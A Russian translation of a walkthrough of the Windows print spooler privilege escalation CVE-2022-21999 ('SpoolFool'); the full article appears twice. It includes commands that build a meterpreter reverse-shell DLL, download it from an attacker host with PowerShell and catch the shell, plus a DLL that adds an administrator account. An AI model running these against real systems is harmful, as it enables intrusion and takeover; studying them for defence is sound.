Введение
Оливер Ляк опубликовал статью об уязвимости повышения привилегий Windows, которая сохранялась в системах Windows даже после исправления предыдущих уязвимостей в диспетчере очереди печати CVE-2020-1048 и CVE-2020-1337. Уязвимость получила код CVE-2022-21999 и обычно назыется "SpoolFool". В этой статье мы обсудим технические детали, связанные с этим, и продемонстрируем два метода, с помощью которых злоумышленник может использовать и получать повышенные привилегии NT AUTHORITY\SYSTEM.
Связанные рекомендации: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999
Связанные CVE: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-sd
Краткое описание уязвимости
Эта уязвимость позволяет непривилегированному пользователю создавать произвольные и доступные для записи каталоги путем настройки атрибута SpoolDirectory на принтере. Поскольку непривилегированному пользователю разрешено добавлять удаленные принтеры, злоумышленник может создать удаленный принтер и предоставить КАЖДОМУ право управлять этим принтером. Это вернет дескриптор с правом PRINTER_ACCESS_ADMINISTER, который в дальнейшем можно использовать для выполнения таких задач, как внедрение DLL.
Диспетчер Очереди Печати
Диспетчер очереди печати — это основной интерфейс процесса печати. Это встроенный EXE-файл, который загружается при запуске самой системы. Рабочий процесс печати выглядит следующим образом:
Application: приложение печати создает задание на печать, вызывая интерфейс графических устройств (GDI).
GDI: GDI включает компоненты режима пользователя и режима ядра для поддержки графики.
winspool.drv — это интерфейс, который взаимодействует со спулером. Он предоставляет заглушки RPC, необходимые для доступа к серверу.
spoolsv.exe — это API-сервер спулера. Этот модуль реализует маршрутизацию сообщений к провайдеру печати с помощью маршрутизатора (spoolss.dll).
spoolss.dll определяет, к какому поставщику печати обращаться, на основе имени принтера и передает вызов функции правильному поставщику.
Каталог Спулера
Когда пользователь печатает документ, задание на печать помещается в предварительно определенное место, называемое каталогом буфера. Расположение по умолчанию — C:\Windows\System32\spool\PRINTERS. Этот каталог по умолчанию доступен для записи всем, поскольку каждый использует принтер (разрешение FILE_ADD_FILE. Подробнее читайте здесь (https://docs.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants)), а каталог спула настраивается на каждом принтере.
Рабочий процесс CVE 2020-1030
Я настоятельно рекомендую прочитать пост Виктора Маты здесь (https://www.accenture.com/us-en/blo...dangerous-windows-print-spooler-vulnerability), прежде чем пытаться продемонстрировать уязвимость самостоятельно. Но для тех, кто не любит вдаваться в подробности, вот краткое описание того, как можно использовать эту уязвимость.
- По умолчанию пользователи могут добавлять принтеры без необходимости аутентификации администратора.
- Вызов AddPrinter возвращает дескриптор принтера (рекомендую прочитать, что такое дескрипторы, если у вас меньше идей о разработке) с правом PRINTER_ALL_ACCESS. Это предоставляет права печати для стандартных и административных операций печати.
- Однако вызывающая функция AddPrinter должна иметь право SERVER_ACCESS_ADMINISTER на сервер, на котором должен быть создан принтер.
- Непривилегированный пользователь не будет иметь этих прав и, следовательно, не сможет добавить новый принтер с правом PRINTER_ALL_ACCESS.
- Тем не менее, группа "INTERACTIVE" имеет разрешения на управление сервером, которые соответствуют
- Таким образом, участники интерактивной группы могут добавить принтер с SERVER_ACCESS_ADMINISTER.
-- ИНТЕРАКТИВНАЯ ГРУППА: SID S-1-5-4 NT Authority\Interactive — это системная группа, которая автоматически добавляется, когда пользователь входит в систему локально или через RDP. Удаление этой группы означало бы ограничение доступа к журналу в старых системах, однако в более новых Windows она снова добавляется при перезапуске. Короче говоря, он символизирует реального физического пользователя, взаимодействующего с машиной. Эта группа отсутствует в системах Active Directory, поскольку в таких средах разрешениями управляет только контроллер домена.
-- Таким образом, атака не работала со служебными учетными записями (такими как IIS или MSSQL$)
- Если пользователь, запускающий эксплойт, является членом INTERACTIVE, то теперь AddPrinter будет возвращать дескриптор с PRINTER_ALL_ACCESS. Мы будем использовать разрешение этого дескриптора для изменения каталога спула. В C# функция SetPrinterDataEx может изменять каталог буфера.
Здесь мы создаем каталог C:\Windows\System32\spool\drivers\x64\4. Для создания этого спула у нас есть необходимые права PRINTER_ALL_ACCESS (возврат на хендл hPrinter)
Как видите, предполагаемый каталог в переменной pszData еще не существует.
- Повторно инициализируйте службу диспетчера очереди печати, вызвав AppVTerminator.dll.
- Папка спулера C:\Windows\System32\spool\drivers\x64 создана с правами на запись для ВСЕХ.
- В этом каталоге создается и загружается вредоносная DLL. Он проверяется, и CopyFiles\\ запускает эту DLL и загружает ее в процесс принтера (spoolsv.exe).
Схематический рабочий процесс CVE 2020-1030
Это можно было бы понять простыми словами:
Incoming CVE 2022-21999
После того, как проблема была исправлена Microsoft, Оливер Ляк в своем посте упоминает исправления Microsoft и то, как он их обходил. Таким образом, он предложил следующие два улучшения для этого исправления уязвимости и получил CVE 2022-21999:
1. Он заявляет, что пользователь, не входящий в группу INTERACTIVE, все же может добавить удаленный принтер и получить права PRINTER_ACCESS_ADMINISTER.
"Если пользователь добавляет удаленный принтер, принтер унаследует свойства безопасности общего принтера от сервера печати. Таким образом, если удаленный сервер печати позволяет КАЖДОМУ управлять принтером, то можно получить дескриптор принтера с правами доступа PRINTER_ACCESS_ADMINISTER, и SetPrinterDataEx обновит локальный реестр как обычно".
2. Microsoft добавила проверку создания/доступа к каталогу на уровне пользователя, чтобы ограничить создание каталогов очереди. Итак, в своем эксплойте он использовал reparse https://docs.microsoft.com/en-us/windows/win32/fileio/reparse-points. В основном происходит следующее:
- Мы создаем временный каталог (C:\TEMP\xyzxyzxyz) и устанавливаем его как SpoolDirectory
- Проверка, установленная Microsoft, пройдена, и SpoolDirectory установлен в этот временный каталог.
- Настройте этот временный каталог как точку повторной обработки, указывающую на C:\Windows\System32\spool\drivers\x64\
- SetPrinterDataEx вызывается с помощью CopyFiles, и DLL в этом каталоге автоматически загружается в процесс spoolsv.exe.
Почему только C:\Windows\System32\spool\drivers\x64? => Это каталог драйвера принтера. Point and Print — это технология совместного использования принтеров, предназначенная для распространения драйверов. В Point and Print установка расширяется с помощью пользовательской библиотеки Point and Print.
Когда CopyFiles\\ используется с SetPrinterDataEx, он инициирует последовательность Point and Print. Если указанный каталог является каталогом драйвера принтера, запускается функция Point and Print, и размещенная в нем библиотека DLL загружается в существующий процесс spoolsv.exe.
Демонстрация – Метод 1
Для демонстрации мы будем использовать оригинальный PoC, созданный Oliver Lyak, который можно скачать отсюда (https://github.com/ly4k/SpoolFool).
git clone https://github.com/ly4k/SpoolFool
cd SpoolFool
ls
Как вы могли заметить, PoC поставляется с EXE-файлом и предварительно созданной полезной нагрузкой DLL.
Во-первых, мы компрометируем систему и получаем обратную оболочку. Как видите, пользовательский шестнадцатеричный код был скомпрометирован, и в системе существует NT AUTHORITY\INTERACTIVE. Если у hex есть локальная учетная запись (неприменимо к учетным записям домена), он по умолчанию является членом этой группы.
whoami /user /groups
Теперь мы сначала создадим нашу собственную DLL, используя msfvenom. Я использую инъекцию meterpreter в качестве полезной нагрузки, но вариантов много.
msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.0.20 LPORT=9501 > reverse_64bit.dll
Нам просто нужно загрузить это на машину жертвы. Я рекомендую C:\Users\Public. Вы можете запустить сервер Python и разместить файлы SpoolFool.exe и reverse_64bit.dll в одном и том же месте. Это можно сделать с помощью модуля powershell IWR.
powershell -c iwr http://192.168.0.20/reverse_64bit.dll -outf \Users\Public\reverse.dll
powershell -c iwr http://192.168.0.20/SpoolFool.exe -outf \Users\Public\SpoolFool.exe
Теперь мы можем запустить эксплойт и загрузить эту DLL с помощью следующей команды. Перед запуском обязательно настройте multi/handler в msfconsole.
SpoolFool.exe -dll reverse.dll
Обратите внимание, как создается каталог в %temp%\d5f5….{случайное имя} и создается точка повторной обработки для записи в нужный каталог драйвера печати C:\Windows\system32\spool\DRIVERS\x64\4
Раньше каталога не существовало, но теперь вы можете видеть, что он существует, и DLL была сохранена здесь. Что означает успех! Каталог также доступен для записи всем.
Так или иначе, теперь DLL загружена, и мы получили обратную оболочку!
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.20
set LPORT 9501
run
Мы можем проверить разрешения текущего пользователя, и, как вы видите, привилегии были повышены!
Демонстрация – метод 2
Автор уже создал DLL с именем AddUser.dll в каталоге проекта, что позволит нам добавить нового пользователя с именем "admin" с правами администратора и паролем по умолчанию "Passw0rd!"
Давайте снова скомпрометируем нашу жертву и посмотрим на его собственное членство.
whoami
net user hex
Пользователь не имеет прав администратора. Теперь мы снова запускаем эксплойт SpoolFool.exe, но на этот раз включаем эту DLL.
SpoolFool.exe -dll Adduser.dll
Теперь, после проверки пользователей, мы видим, что добавлен пользователь-администратор, который является частью администраторов!
net user
net user admin
Теперь мы можем использовать эти учетные данные, чтобы сделать ряд вещей! Вход через psexec, вход через RDP и т.д. Я попробовал простую оболочку smbclient, чтобы проверить правильность учетных данных, и, как вы видите, привилегии были повышены, и теперь мы можем взаимодействовать с жертвой как с администратором!
Статус патча
Согласно автору: Быстрая проверка с помощью Process Monitor показывает, что Spool Directory больше не создается при инициализации Spooler. Если каталог не существует, диспетчер очереди печати возвращается к каталогу очереди печати по умолчанию.
Заключение
Повышение привилегий Windows всегда было сложной задачей с точки зрения пентестера. Эксплойты Print Spool пытались превратить это утверждение в миф. Уязвимость записи произвольного файла была отмечена бюллетенем Microsoft MSRC как SEVERE из-за того, насколько легко ее использовать и повышать привилегии. В этой статье мы хотим донести информацию до аналитиков и призвать их своевременно обновлять свои исправления. Надеюсь, вам понравилась статья. Спасибо за прочтение. Свяжитесь со мной в LinkedIn в случае возникновения каких-либо вопросов.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-spoolfool/
Оливер Ляк опубликовал статью об уязвимости повышения привилегий Windows, которая сохранялась в системах Windows даже после исправления предыдущих уязвимостей в диспетчере очереди печати CVE-2020-1048 и CVE-2020-1337. Уязвимость получила код CVE-2022-21999 и обычно назыется "SpoolFool". В этой статье мы обсудим технические детали, связанные с этим, и продемонстрируем два метода, с помощью которых злоумышленник может использовать и получать повышенные привилегии NT AUTHORITY\SYSTEM.
Связанные рекомендации: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999
Связанные CVE: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-sd
Краткое описание уязвимости
Эта уязвимость позволяет непривилегированному пользователю создавать произвольные и доступные для записи каталоги путем настройки атрибута SpoolDirectory на принтере. Поскольку непривилегированному пользователю разрешено добавлять удаленные принтеры, злоумышленник может создать удаленный принтер и предоставить КАЖДОМУ право управлять этим принтером. Это вернет дескриптор с правом PRINTER_ACCESS_ADMINISTER, который в дальнейшем можно использовать для выполнения таких задач, как внедрение DLL.
Диспетчер Очереди Печати
Диспетчер очереди печати — это основной интерфейс процесса печати. Это встроенный EXE-файл, который загружается при запуске самой системы. Рабочий процесс печати выглядит следующим образом:
Application: приложение печати создает задание на печать, вызывая интерфейс графических устройств (GDI).
GDI: GDI включает компоненты режима пользователя и режима ядра для поддержки графики.
winspool.drv — это интерфейс, который взаимодействует со спулером. Он предоставляет заглушки RPC, необходимые для доступа к серверу.
spoolsv.exe — это API-сервер спулера. Этот модуль реализует маршрутизацию сообщений к провайдеру печати с помощью маршрутизатора (spoolss.dll).
spoolss.dll определяет, к какому поставщику печати обращаться, на основе имени принтера и передает вызов функции правильному поставщику.
Каталог Спулера
Когда пользователь печатает документ, задание на печать помещается в предварительно определенное место, называемое каталогом буфера. Расположение по умолчанию — C:\Windows\System32\spool\PRINTERS. Этот каталог по умолчанию доступен для записи всем, поскольку каждый использует принтер (разрешение FILE_ADD_FILE. Подробнее читайте здесь (https://docs.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants)), а каталог спула настраивается на каждом принтере.
Рабочий процесс CVE 2020-1030
Я настоятельно рекомендую прочитать пост Виктора Маты здесь (https://www.accenture.com/us-en/blo...dangerous-windows-print-spooler-vulnerability), прежде чем пытаться продемонстрировать уязвимость самостоятельно. Но для тех, кто не любит вдаваться в подробности, вот краткое описание того, как можно использовать эту уязвимость.
- По умолчанию пользователи могут добавлять принтеры без необходимости аутентификации администратора.
- Вызов AddPrinter возвращает дескриптор принтера (рекомендую прочитать, что такое дескрипторы, если у вас меньше идей о разработке) с правом PRINTER_ALL_ACCESS. Это предоставляет права печати для стандартных и административных операций печати.
- Однако вызывающая функция AddPrinter должна иметь право SERVER_ACCESS_ADMINISTER на сервер, на котором должен быть создан принтер.
- Непривилегированный пользователь не будет иметь этих прав и, следовательно, не сможет добавить новый принтер с правом PRINTER_ALL_ACCESS.
- Тем не менее, группа "INTERACTIVE" имеет разрешения на управление сервером, которые соответствуют
- Таким образом, участники интерактивной группы могут добавить принтер с SERVER_ACCESS_ADMINISTER.
-- ИНТЕРАКТИВНАЯ ГРУППА: SID S-1-5-4 NT Authority\Interactive — это системная группа, которая автоматически добавляется, когда пользователь входит в систему локально или через RDP. Удаление этой группы означало бы ограничение доступа к журналу в старых системах, однако в более новых Windows она снова добавляется при перезапуске. Короче говоря, он символизирует реального физического пользователя, взаимодействующего с машиной. Эта группа отсутствует в системах Active Directory, поскольку в таких средах разрешениями управляет только контроллер домена.
-- Таким образом, атака не работала со служебными учетными записями (такими как IIS или MSSQL$)
- Если пользователь, запускающий эксплойт, является членом INTERACTIVE, то теперь AddPrinter будет возвращать дескриптор с PRINTER_ALL_ACCESS. Мы будем использовать разрешение этого дескриптора для изменения каталога спула. В C# функция SetPrinterDataEx может изменять каталог буфера.
Здесь мы создаем каталог C:\Windows\System32\spool\drivers\x64\4. Для создания этого спула у нас есть необходимые права PRINTER_ALL_ACCESS (возврат на хендл hPrinter)
Как видите, предполагаемый каталог в переменной pszData еще не существует.
- Повторно инициализируйте службу диспетчера очереди печати, вызвав AppVTerminator.dll.
- Папка спулера C:\Windows\System32\spool\drivers\x64 создана с правами на запись для ВСЕХ.
- В этом каталоге создается и загружается вредоносная DLL. Он проверяется, и CopyFiles\\ запускает эту DLL и загружает ее в процесс принтера (spoolsv.exe).
Схематический рабочий процесс CVE 2020-1030
Это можно было бы понять простыми словами:
Incoming CVE 2022-21999
После того, как проблема была исправлена Microsoft, Оливер Ляк в своем посте упоминает исправления Microsoft и то, как он их обходил. Таким образом, он предложил следующие два улучшения для этого исправления уязвимости и получил CVE 2022-21999:
1. Он заявляет, что пользователь, не входящий в группу INTERACTIVE, все же может добавить удаленный принтер и получить права PRINTER_ACCESS_ADMINISTER.
"Если пользователь добавляет удаленный принтер, принтер унаследует свойства безопасности общего принтера от сервера печати. Таким образом, если удаленный сервер печати позволяет КАЖДОМУ управлять принтером, то можно получить дескриптор принтера с правами доступа PRINTER_ACCESS_ADMINISTER, и SetPrinterDataEx обновит локальный реестр как обычно".
2. Microsoft добавила проверку создания/доступа к каталогу на уровне пользователя, чтобы ограничить создание каталогов очереди. Итак, в своем эксплойте он использовал reparse https://docs.microsoft.com/en-us/windows/win32/fileio/reparse-points. В основном происходит следующее:
- Мы создаем временный каталог (C:\TEMP\xyzxyzxyz) и устанавливаем его как SpoolDirectory
- Проверка, установленная Microsoft, пройдена, и SpoolDirectory установлен в этот временный каталог.
- Настройте этот временный каталог как точку повторной обработки, указывающую на C:\Windows\System32\spool\drivers\x64\
- SetPrinterDataEx вызывается с помощью CopyFiles, и DLL в этом каталоге автоматически загружается в процесс spoolsv.exe.
Почему только C:\Windows\System32\spool\drivers\x64? => Это каталог драйвера принтера. Point and Print — это технология совместного использования принтеров, предназначенная для распространения драйверов. В Point and Print установка расширяется с помощью пользовательской библиотеки Point and Print.
Когда CopyFiles\\ используется с SetPrinterDataEx, он инициирует последовательность Point and Print. Если указанный каталог является каталогом драйвера принтера, запускается функция Point and Print, и размещенная в нем библиотека DLL загружается в существующий процесс spoolsv.exe.
Демонстрация – Метод 1
Для демонстрации мы будем использовать оригинальный PoC, созданный Oliver Lyak, который можно скачать отсюда (https://github.com/ly4k/SpoolFool).
git clone https://github.com/ly4k/SpoolFool
cd SpoolFool
ls
Как вы могли заметить, PoC поставляется с EXE-файлом и предварительно созданной полезной нагрузкой DLL.
Во-первых, мы компрометируем систему и получаем обратную оболочку. Как видите, пользовательский шестнадцатеричный код был скомпрометирован, и в системе существует NT AUTHORITY\INTERACTIVE. Если у hex есть локальная учетная запись (неприменимо к учетным записям домена), он по умолчанию является членом этой группы.
whoami /user /groups
Теперь мы сначала создадим нашу собственную DLL, используя msfvenom. Я использую инъекцию meterpreter в качестве полезной нагрузки, но вариантов много.
msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.0.20 LPORT=9501 > reverse_64bit.dll
Нам просто нужно загрузить это на машину жертвы. Я рекомендую C:\Users\Public. Вы можете запустить сервер Python и разместить файлы SpoolFool.exe и reverse_64bit.dll в одном и том же месте. Это можно сделать с помощью модуля powershell IWR.
powershell -c iwr http://192.168.0.20/reverse_64bit.dll -outf \Users\Public\reverse.dll
powershell -c iwr http://192.168.0.20/SpoolFool.exe -outf \Users\Public\SpoolFool.exe
Теперь мы можем запустить эксплойт и загрузить эту DLL с помощью следующей команды. Перед запуском обязательно настройте multi/handler в msfconsole.
SpoolFool.exe -dll reverse.dll
Обратите внимание, как создается каталог в %temp%\d5f5….{случайное имя} и создается точка повторной обработки для записи в нужный каталог драйвера печати C:\Windows\system32\spool\DRIVERS\x64\4
Раньше каталога не существовало, но теперь вы можете видеть, что он существует, и DLL была сохранена здесь. Что означает успех! Каталог также доступен для записи всем.
Так или иначе, теперь DLL загружена, и мы получили обратную оболочку!
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.20
set LPORT 9501
run
Мы можем проверить разрешения текущего пользователя, и, как вы видите, привилегии были повышены!
Демонстрация – метод 2
Автор уже создал DLL с именем AddUser.dll в каталоге проекта, что позволит нам добавить нового пользователя с именем "admin" с правами администратора и паролем по умолчанию "Passw0rd!"
Давайте снова скомпрометируем нашу жертву и посмотрим на его собственное членство.
whoami
net user hex
Пользователь не имеет прав администратора. Теперь мы снова запускаем эксплойт SpoolFool.exe, но на этот раз включаем эту DLL.
SpoolFool.exe -dll Adduser.dll
Теперь, после проверки пользователей, мы видим, что добавлен пользователь-администратор, который является частью администраторов!
net user
net user admin
Теперь мы можем использовать эти учетные данные, чтобы сделать ряд вещей! Вход через psexec, вход через RDP и т.д. Я попробовал простую оболочку smbclient, чтобы проверить правильность учетных данных, и, как вы видите, привилегии были повышены, и теперь мы можем взаимодействовать с жертвой как с администратором!
Статус патча
Согласно автору: Быстрая проверка с помощью Process Monitor показывает, что Spool Directory больше не создается при инициализации Spooler. Если каталог не существует, диспетчер очереди печати возвращается к каталогу очереди печати по умолчанию.
Заключение
Повышение привилегий Windows всегда было сложной задачей с точки зрения пентестера. Эксплойты Print Spool пытались превратить это утверждение в миф. Уязвимость записи произвольного файла была отмечена бюллетенем Microsoft MSRC как SEVERE из-за того, насколько легко ее использовать и повышать привилегии. В этой статье мы хотим донести информацию до аналитиков и призвать их своевременно обновлять свои исправления. Надеюсь, вам понравилась статья. Спасибо за прочтение. Свяжитесь со мной в LinkedIn в случае возникновения каких-либо вопросов.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-spoolfool/